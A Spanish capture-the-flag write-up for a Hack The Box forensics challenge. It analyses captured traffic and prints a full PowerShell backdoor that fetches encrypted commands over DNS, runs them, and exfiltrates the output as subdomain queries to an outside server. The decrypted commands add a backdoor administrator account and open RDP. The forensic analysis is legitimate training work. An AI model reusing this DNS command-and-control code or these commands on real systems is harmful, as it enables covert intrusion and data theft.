Automation
4 minutos de lectura
Se nos proporciona un archivo PCAP con muchos paquetes:
Tráfico HTTP
Si filtramos por HTTP, veremos algunas peticiones y respuestas:
Como se puede ver, la víctima está descargando un archivo exe
. Esta vez no analizaremos el archivo binario. Obsérvese que hay una petición web sospechosa a /desktop.png
. La respuesta contiene datos codificados en Base64:
Análisis de PowerShell
Si los decodificamos, obtendremos un script en PowerShell:
$ echo 'ZnVuY3Rpb24gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QoJGtleSwgJElWKSB7CiAgICAkYWVzTWFuYWdlZCA9IE5ldy1PYmplY3QgIlN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzTWFuYWdlZCIKICAgICRhZXNNYW5hZ2VkLk1vZGUgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDCiAgICAkYWVzTWFuYWdlZC5QYWRkaW5nID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpaZXJvcwogICAgJGFlc01hbmFnZWQuQmxvY2tTaXplID0gMTI4CiAgICAkYWVzTWFuYWdlZC5LZXlTaXplID0gMjU2CiAgICBpZiAoJElWKSB7CiAgICAgICAgaWYgKCRJVi5nZXRUeXBlKCkuTmFtZSAtZXEgIlN0cmluZyIpIHsKICAgICAgICAgICAgJGFlc01hbmFnZWQuSVYgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRJVikKICAgICAKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRhZXNNYW5hZ2VkLklWID0gJElWCiAgICAgCgogICAgICAgIH0KICAgIH0KICAgIGlmICgka2V5KSB7CgogICAgICAgIGlmICgka2V5LmdldFR5cGUoKS5OYW1lIC1lcSAiU3RyaW5nIikgewogICAgICAgICAgICAkYWVzTWFuYWdlZC5LZXkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRrZXkpCiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkYWVzTWFuYWdlZC5LZXkgPSAka2V5CiAgICAgICAgfQogICAgfQogICAgJGFlc01hbmFnZWQKfQoKZnVuY3Rpb24gQ3JlYXRlLUFlc0tleSgpIHsKICAKICAgICRhZXNNYW5hZ2VkID0gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QgJGtleSAkSVYKICAgIFtTeXN0ZW0uQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRhZXNNYW5hZ2VkLktleSkKfQoKZnVuY3Rpb24gRW5jcnlwdC1TdHJpbmcoJGtleSwgJHVuZW5jcnlwdGVkU3RyaW5nKSB7CiAgICAkYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCR1bmVuY3J5cHRlZFN0cmluZykKICAgICRhZXNNYW5hZ2VkID0gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QgJGtleQogICAgJGVuY3J5cHRvciA9ICRhZXNNYW5hZ2VkLkNyZWF0ZUVuY3J5cHRvcigpCiAgICAkZW5jcnlwdGVkRGF0YSA9ICRlbmNyeXB0b3IuVHJhbnNmb3JtRmluYWxCbG9jaygkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpOwogICAgW2J5dGVbXV0gJGZ1bGxEYXRhID0gJGFlc01hbmFnZWQuSVYgKyAkZW5jcnlwdGVkRGF0YQogICAgJGFlc01hbmFnZWQuRGlzcG9zZSgpCiAgICBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRmdWxsRGF0YSkucmVwbGFjZSgiLSIsIiIpCn0KCmZ1bmN0aW9uIERlY3J5cHQtU3RyaW5nKCRrZXksICRlbmNyeXB0ZWRTdHJpbmdXaXRoSVYpIHsKICAgICRieXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVuY3J5cHRlZFN0cmluZ1dpdGhJVikKICAgICRJViA9ICRieXRlc1swLi4xNV0KICAgICRhZXNNYW5hZ2VkID0gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QgJGtleSAkSVYKICAgICRkZWNyeXB0b3IgPSAkYWVzTWFuYWdlZC5DcmVhdGVEZWNyeXB0b3IoKTsKICAgICR1bmVuY3J5cHRlZERhdGEgPSAkZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soJGJ5dGVzLCAxNiwgJGJ5dGVzLkxlbmd0aCAtIDE2KTsKICAgICRhZXNNYW5hZ2VkLkRpc3Bvc2UoKQogICAgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHVuZW5jcnlwdGVkRGF0YSkuVHJpbShbY2hhcl0wKQp9CgpmaWx0ZXIgcGFydHMoJHF1ZXJ5KSB7ICR0ID0gJF87IDAuLlttYXRoXTo6Zmxvb3IoJHQubGVuZ3RoIC8gJHF1ZXJ5KSB8ICUgeyAkdC5zdWJzdHJpbmcoJHF1ZXJ5ICogJF8sIFttYXRoXTo6bWluKCRxdWVyeSwgJHQubGVuZ3RoIC0gJHF1ZXJ5ICogJF8pKSB9fSAKJGtleSA9ICJhMUU0TVV0eWNXc3dUbXRyTUhkcWRnPT0iCiRvdXQgPSBSZXNvbHZlLURuc05hbWUgLXR5cGUgVFhUIC1EbnNPbmx5IHdpbmRvd3NsaXZldXBkYXRlci5jb20gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODl8U2VsZWN0LU9iamVjdCAtUHJvcGVydHkgU3RyaW5nczsKZm9yICgkbnVtID0gMCA7ICRudW0gLWxlICRvdXQuTGVuZ3RoLTI7ICRudW0rKyl7CiRlbmNyeXB0ZWRTdHJpbmcgPSAkb3V0WyRudW1dLlN0cmluZ3NbMF0KJGJhY2tUb1BsYWluVGV4dCA9IERlY3J5cHQtU3RyaW5nICRrZXkgJGVuY3J5cHRlZFN0cmluZwokb3V0cHV0ID0gaWV4ICRiYWNrVG9QbGFpblRleHQ7JHByID0gRW5jcnlwdC1TdHJpbmcgJGtleSAkb3V0cHV0fHBhcnRzIDMyClJlc29sdmUtRG5zTmFtZSAtdHlwZSBBIC1EbnNPbmx5IHN0YXJ0LndpbmRvd3NsaXZldXBkYXRlci5jb20gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODkKZm9yICgkYW5zID0gMDsgJGFucyAtbHQgJHByLmxlbmd0aC0xOyAkYW5zKyspewokZG9tYWluID0gLWpvaW4oJHByWyRhbnNdLCIud2luZG93c2xpdmV1cGRhdGVyLmNvbSIpClJlc29sdmUtRG5zTmFtZSAtdHlwZSBBIC1EbnNPbmx5ICRkb21haW4gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODkKICAgIH0KUmVzb2x2ZS1EbnNOYW1lIC10eXBlIEEgLURuc09ubHkgZW5kLndpbmRvd3NsaXZldXBkYXRlci5jb20gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODkKfQ==' | base64 -d
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
El script define algunas funciones crirprográficas (AES) para cifrar/descifrar datos. En la parte inferior del script, vemos lo que el atacante está tratando de hacer. Parece que está exiltrando información a través de consultas DNS como subdominios de windowsliveupdater.com
.
En realidad, hay dos bucles for
. Vamos a darle un poco de formato al código:
filter parts($query) {
$t = $_;
0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }
}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189 | Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length - 2; $num++) {
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;
$pr = Encrypt-String $key $output | parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length - 1; $ans++){
$domain = -join($pr[$ans], ".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
Consultas DNS
Esta es la primera consulta DNS, que extrae cargas útiles del campo TXT
:
Since we have the AES key from the script, we can decrypt all the payloads using Python:
$ python3 -q
>>> from Crypto.Cipher import AES
>>> from base64 import b64decode as b64d
>>>
>>> key = b64d('a1E4MUtycWswTmtrMHdqdg==')
>>>
>>> def decrypt(b64_data: str) -> bytes:
... enc_data = b64d(b64_data)
... iv, ct = enc_data[:16], enc_data[16:]
... return AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
...
>>> decrypt('Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=')
b'hostname\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=')
b'whoami\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=')
b'ipconfig\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru')
b'wmic /namespace:\\\\root\\SecurityCenter PATH AntiVirusProduct GET /value\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=')
b'net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr'
>>> decrypt('vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=')
b'netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389\x00\x00\x00\x00\x00\x00'
>>> decrypt('M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh')
b'net start TermService\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Genial, estos payloads son en realidad comandos que se ejecutarán con iex
. Además, tenemos una parte de la flag:
$ echo JHBhcnQxPSdIVEJ7eTB1X2M0bl8n | base64 -d
$part1='HTB{y0u_c4n_'
La salida de los comandos se enviará en forma de consultas DNS (encriptadas), entre una consulta a start.windowsliveupdater.com
y una consulta a end.windowsliveupdater.com
. Por ejemplo:
Entonces, vamos a modificar un poco la función decrypt
y a descifrar la salida de los comandos:
>>> def decrypt(hex_data: str) -> bytes:
... enc_data = bytes.fromhex(hex_data)
... iv, ct = enc_data[:16], enc_data[16:]
... return AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
...
>>> decrypt('CC1C9AC2958A2E63609272E2B4F8F436 32A806549B03AB7E4EB39771AEDA4A1B C1006AC8A03F9776B08321BD6D5247BB')
b'intergalacticopcenter\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('7679895D1CF7C07BB6A348E1AA4AFC65 5958A6856F1A34AAD5E97EA55B087670 35F2497E5836EA0ECA1F1280F59742A3')
b'intergalacticop\\sysadmin\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('09E28DD82C14BC32513652DAC2F2C27B 0D73A3288A980D8FCEF94BDDCF9E2822 2A1CA17BB2D90FCD6158856348790414 20FC39C684A9E371CC3A06542B666005 5840BD94CCE65E23613925B4D9D2BA53 18EA75BC653004D45D505ED62567017A 6FA4E7593D83092F67A81082D9930E99 BA20E34AACC4774F067442C6622F5DA2 A9B09FF558A8DF000ECBD37804CE663E 3521599BC7591005AB6799C57068CF0D C6884CECF01C0CD44FD6B82DB788B35D 62F02E4CAA1D973FBECC235AE9F40254 C63D3C93C89930DA2C4F42D9FC123D8B AB00ACAB5198AFCC8C6ACD81B19CD264 CC6353668CEA4C88C8AEEA1D58980022 DA8FA2E917F17C28608818BF550FEA66 973B5A8355258AB0AA281AD88F5B9EB1 03AC666FE09A1D449736335C09484D27 1C301C6D5780AB2C9FA333BE3B0185BF 071FB1205C4DBEAA2241168B0748902A 6CE14903C7C47E7C87311044CB9873A4')
b' Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : home Link-local IPv6 Address . . . . . : fe80::fdbd:2c54:d6b:c384%6 IPv4 Address. . . . . . . . . . . : 10.0.2.15 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.2.2\x00\x00\x00\x00\x00'
>>> decrypt('ECABC349D27C0B0FFFD1ACEEDBE06BB6 C2EB000EE4F9B35D6F001500E85642A2 DCC8F1BE2CF4D667F458C1DE46D24B1C 2E0F5D94E52649C70402C1B0A2FF7B49 FC32DDD67F275307A74B2C4D0864B3F0 486186DA9443EB747F717B3911C959DC 7E300844D60655410C3988238E615D61 6F33D27F63CE4D1E065A416911BC50D4 58749599D2CB08DB561988EB2902E05D 9886FDDAC2BED6F6DA73637AD2F20CF1 99B8CE3D9DEE03C0180C7D1198B49C02 769E5EE4EAB896D7D3BB478EA1408167 79472A243BFB0852AF372323EC132988 3C81A3F2AEB1D3DAAE8496E1DBF97F43 5AE40A09203B890C4A174D77CB7026C4 E990A6FB6424A7501823AD31D3D6B634 4C7971C8D447C078C4471732AD881C39 4BC8B1A66E0BED43DDC359269B57D1D5 D68DCD2A608BF61716BB47D6FE4D5C9D 6E8BB2981F214A8234B0DD0210CA96EB 2D6322B0F7F3D748C4C9F8B80EFF5A69 21A3D1A8621A49F4D29BC9851D25230B')
b' companyName=Panaman displayName=Pan Antivirus 4.0, $part2=4utom4t3_but_y0u_c4nt_h1de} instanceGuid={CD3EA3C2-91CB-4359-90DC-1E909147B6B0} onAccessScanningEnabled=TRUE pathToSignedProductExe=panantivirus:// productHasNotifiedUser= productState= productUptoDate=TRUE productWantsWscNotifications= versionNumber=4.0.0.1 '
>>> decrypt('4BC8B1A66E0BED43DDC359269B57D1D5 D68DCD2A608BF61716BB47D6FE4D5C9D 6E8BB2981F214A8234B0DD0210CA96EB 2D6322B0F7F3D748C4C9F8B80EFF5A69 21A3D1A8621A49F4D29BC9851D25230B')
b'RUE productWantsWscNotifications= versionNumber=4.0.0.1 '
>>> decrypt('AE4ABE8A3A88D21DEEA071A72D65A35E F158D9F025897D1843E37B7463EC7833')
b'Ok. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Flag
Ahora podemos unir las dos partes y capturar la flag:
HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}